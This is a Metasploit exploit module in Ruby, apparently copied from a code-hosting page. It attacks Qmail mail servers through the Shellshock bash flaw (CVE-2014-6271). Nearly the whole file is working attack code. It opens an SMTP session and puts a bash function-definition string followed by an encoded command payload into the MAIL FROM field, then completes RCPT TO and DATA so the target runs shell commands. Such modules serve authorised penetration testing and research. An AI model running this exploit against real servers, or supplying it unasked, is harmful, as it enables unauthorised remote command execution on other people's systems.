110 lines
3.8 KiB
Ruby
110 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Smtp
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
|
|
'Description' => %q{
|
|
This module exploits a shellshock vulnerability on Qmail, a public
|
|
domain MTA written in C that runs on Unix systems.
|
|
Due to the lack of validation on the MAIL FROM field, it is possible to
|
|
execute shell code on a system with a vulnerable BASH (Shellshock).
|
|
This flaw works on the latest Qmail versions (qmail-1.03 and
|
|
netqmail-1.06).
|
|
However, in order to execute code, /bin/sh has to be linked to bash
|
|
(usually default configuration) and a valid recipient must be set on the
|
|
RCPT TO field (usually admin@exampledomain.com).
|
|
The exploit does not work on the "qmailrocks" community version
|
|
as it ensures the MAILFROM field is well-formed.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Mario Ledo (Metasploit module)',
|
|
'Gabriel Follon (Metasploit module)',
|
|
'Kyle George (Vulnerability discovery)'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-6271'],
|
|
['CWE', '94'],
|
|
['OSVDB', '112004'],
|
|
['EDB', '34765'],
|
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
|
|
['URL', 'https://lists.gt.net/qmail/users/138578']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x3e",
|
|
'Space' => 888,
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic telnet perl ruby python'
|
|
# telnet ruby python and perl works only if installed on target
|
|
}
|
|
},
|
|
'Targets' => [ [ 'Automatic', { }] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Sep 24 2014'
|
|
))
|
|
|
|
deregister_options('MAILFROM')
|
|
end
|
|
|
|
def smtp_send(data = nil)
|
|
begin
|
|
result = ''
|
|
code = 0
|
|
sock.put("#{data}")
|
|
result = sock.get_once
|
|
result.chomp! if (result)
|
|
code = result[0..2].to_i if result
|
|
return result, code
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
|
|
return result, 0
|
|
rescue ::Exception => e
|
|
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
|
|
return nil, 0
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
to = datastore['MAILTO']
|
|
connect
|
|
result = smtp_send("HELO localhost\r\n")
|
|
if result[1] < 200 || result[1] > 300
|
|
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
|
|
end
|
|
print_status('Sending the payload...')
|
|
result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
|
|
if result[1] < 200 || result[1] > 300
|
|
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
|
|
end
|
|
print_status("Sending RCPT TO #{to}")
|
|
result = smtp_send("rcpt to:<#{to}>\r\n")
|
|
if result[1] < 200 || result[1] > 300
|
|
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
|
|
end
|
|
result = smtp_send("data\r\n")
|
|
if result[1] < 200 || result[1] > 354
|
|
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
|
|
end
|
|
result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
|
|
if result[1] < 200 || result[1] > 300
|
|
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
|
|
end
|
|
disconnect
|
|
end
|
|
end
|